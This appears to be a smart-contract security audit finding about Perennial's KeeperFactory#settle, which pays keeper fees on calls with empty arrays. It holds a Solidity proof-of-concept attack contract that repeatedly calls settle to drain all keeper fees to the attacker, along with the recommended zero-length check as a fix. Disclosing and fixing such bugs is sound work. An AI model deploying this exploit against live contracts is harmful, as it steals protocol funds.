Attacker can call `KeeperFactory#settle` with empty arrays as input parameters to steal all keeper fees
Anyone can call `KeeperFactory#request`, inputting empty arrays as parameters, and the call will succeed, and the caller receives a fee.\\nAttacker can perform this attack many times within a loop to steal ALL keeper fees from protocol.\\nExpected Workflow:\\nUser calls `Market#update` to open a new position\\nMarket calls `Oracle#request` to request a new oracleVersion\\nThe User's account gets added to a callback array of the market\\nOnce new oracleVersion gets committed, keepers can call `KeeperFactory#settle`, which will call `Market#update` on accounts in the Market's callback array, and pay the keeper(i.e. caller) a fee.\\n`KeeperFactory#settle` call will fail if there is no account to settle(i.e. if callback array is empty)\\nAfter settleing an account, it gets removed from the callback array\\nThe issue:\\nHere is KeeperFactory#settle function:\\n```\\nfunction settle(bytes32[] memory ids, IMarket[] memory markets, uint256[] memory versions, uint256[] memory maxCounts)\\n    external\\n    keep(settleKeepConfig(), msg.data, 0, "")\\n{\\n    if (\\n        ids.length != markets.length ||\\n        ids.length != versions.length ||\\n        ids.length != maxCounts.length ||\\n        // Prevent calldata stuffing\\n        abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length\\n    )\\n        revert KeeperFactoryInvalidSettleError();\\n\\n    for (uint256 i; i < ids.length; i++)\\n        IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);\\n}\\n```\\n\\nAs we can see, function does not check if the length of the array is 0, so if user inputs empty array, the for loop will not be entered, but the keeper still receives a fee via the `keep` modifier.\\nAttacker can have a contract perform the attack multiple times in a loop to drain all fees:\\n```\\ninterface IKeeperFactory{\\n    function settle(bytes32[] memory ids,IMarket[] memory markets,uint256[] memory versions,uint256[] memory maxCounts\\n    ) external;\\n}\\n\\ninterface IMarket(\\n    function update()external;\\n)\\n\\ncontract AttackContract{\\n\\n    address public attacker;\\n    address public keeperFactory;\\n    IERC20 public keeperToken;\\n\\n    constructor(address perennialDeployedKeeperFactory, IERC20 _keeperToken){\\n        attacker=msg.sender;\\n        keeperFactory=perennialDeployedKeeperFactory;\\n        keeperToken=_keeperToken;\\n    }\\n\\n    function attack()external{\\n        require(msg.sender==attacker,"not allowed");\\n\\n        bool canSteal=true;\\n\\n        // empty arrays as parameters\\n        bytes32[] memory ids=[];\\n        IMarket[] memory markets=[];\\n        uint256[] versions=[];\\n        uint256[] maxCounts=[];\\n\\n        // perform attack in a loop till all funds are drained or call reverts\\n        while(canSteal){\\n            try IKeeperFactory(keeperFactory).settle(ids,markets,versions,maxCounts){\\n                //\\n            }catch{\\n                canSteal=false;\\n            }\\n        }\\n        keeperToken.transfer(msg.sender, keeperToken.balanceOf(address(this)));\\n    }\\n}\\n```\\n
Within KeeperFactory#settle function, revert if ids.length==0:\\n```\\nfunction settle(\\n    bytes32[] memory ids,\\n    IMarket[] memory markets,\\n    uint256[] memory versions,\\n    uint256[] memory maxCounts\\n)external keep(settleKeepConfig(), msg.data, 0, "") {\\n    if (\\n++++    ids.length==0 ||\\n        ids.length != markets.length ||\\n        ids.length != versions.length ||\\n        ids.length != maxCounts.length ||\\n        // Prevent calldata stuffing\\n        abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length\\n    ) revert KeeperFactoryInvalidSettleError();\\n\\n    for (uint256 i; i < ids.length; i++)\\n        IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);\\n}\\n```\\n
All keeper fees can be stolen from protocol, and there will be no way to incentivize Keepers to commitRequested oracle version, and other keeper tasks
```\\nfunction settle(bytes32[] memory ids, IMarket[] memory markets, uint256[] memory versions, uint256[] memory maxCounts)\\n    external\\n    keep(settleKeepConfig(), msg.data, 0, "")\\n{\\n    if (\\n        ids.length != markets.length ||\\n        ids.length != versions.length ||\\n        ids.length != maxCounts.length ||\\n        // Prevent calldata stuffing\\n        abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length\\n    )\\n        revert KeeperFactoryInvalidSettleError();\\n\\n    for (uint256 i; i < ids.length; i++)\\n        IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);\\n}\\n```\\n